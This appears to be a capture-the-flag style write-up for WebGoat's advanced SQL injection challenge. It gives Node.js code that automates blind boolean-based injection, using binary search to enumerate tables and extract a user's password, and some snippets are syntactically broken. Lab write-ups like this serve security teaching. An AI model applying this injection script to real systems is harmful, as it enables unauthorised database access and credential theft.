SETUP

- Node.js (v16.9.1)
- Vim for text processing
- Postman(for manipulating HTTP requests)

STEPS

```
1. Validate input (start and end)
2. Get the maximum table name length
3. Get the count of tables
4. For each table:
      Get table Name
          Get count of columns for the table
          Get all column names
5. Find the table with column 'password' and a column which can have 'tom' as value
6. Check the tables for tom with a query
7. Find each character for the field where there's an entry for tom
```

MAKING HTTP REQUESTS

The axios module was used for making HTTP requests

```
export const makeRequest = config => {
  return axios(config)
    .then(function (response) {
      return response.data;
    })
    .catch(function (error) {
      console.log(error.data);
    });
}
```

BOOLEAN TEST WITH HTTP REQUEST

```
export const booleanTest = async (type, value, sqlQuery) => {
  let data = getPayload(type, value, sqlQuery)
  let config = {
    method: 'put',
    url: 'http://127.0.0.1:8080/WebGoat/SqlInjectionAdvanced/challenge',
    headers: getHeaders(),
    data : data
  };

  let response = await makeRequest(config);

  if(response.feedback.includes('already exists'))
    return true
  else
    return false
}
```

SETTING UP INJECTION STRING AND THE PAYLOAD

```
port const getInjectionString = (type, value, sqlQuery) => {
let comparison = ''
if(type == 'min')
  comparison = `(${sqlQuery}) < ${value}`
else if (type == 'max')
  comparison = `(${sqlQuery}) > ${value}`
else if (type == 'exists')
  comparison = `exists (${sqlQuery})`
else
  //test for equality if we do not recognize the type of injection
  comparison = `(${sqlQuery}) = ${value}`
return `tom\' and ${comparison} and \'1\'=\'1`


port const getPayload = (type, value, sqlQuery) => {
const injectionString = getInjectionString(type, value, sqlQuery)
return `username_reg=${injectionString}&email_reg=y&password_reg=aa&confirm_password_reg=aa
```

BINARY SEARCH

The *binarySearch* method searches for the value in O(log(n)) time.

```
export const binarySearch = async (min, max, sqlQuery) => {
  while(min <= max) {
    let mid = Math.floor((min + max)/ 2)

    if(await booleanTest('min', mid, sqlQuery)) {
      max = mid - 1
    } else if(await booleanTest('max', mid, sqlQuery)) {
      min = mid + 1
    } else
      return mid
  }
}
```

CONFIRM VALUE

Confirms value tests for the value return by *binarySearch* and tests it with equality.

```
export const confirmValue = async (value, sqlQuery) => {
  // Confirm the retrieved value
  if(await booleanTest(true, value, sqlQuery)) {
    return value
  } else {
    console.log(`something's wrong. binarySearch did not find the correct value`)
      console.log(`\n${sqlQuery}`)
      process.exit(1)
  }
}
```

PASSING SQL QUERIES TO `BINARYSEARCH` AND `CONFIRMVALUE`

```
const tableMaxLength = async () => {
  const sqlQuery = 'select max(char_length(table_name)) from information_schema.tables';
  let maxValue = await binarySearch(10, 64, sqlQuery)
  return confirmValue(maxValue, sqlQuery)
}
```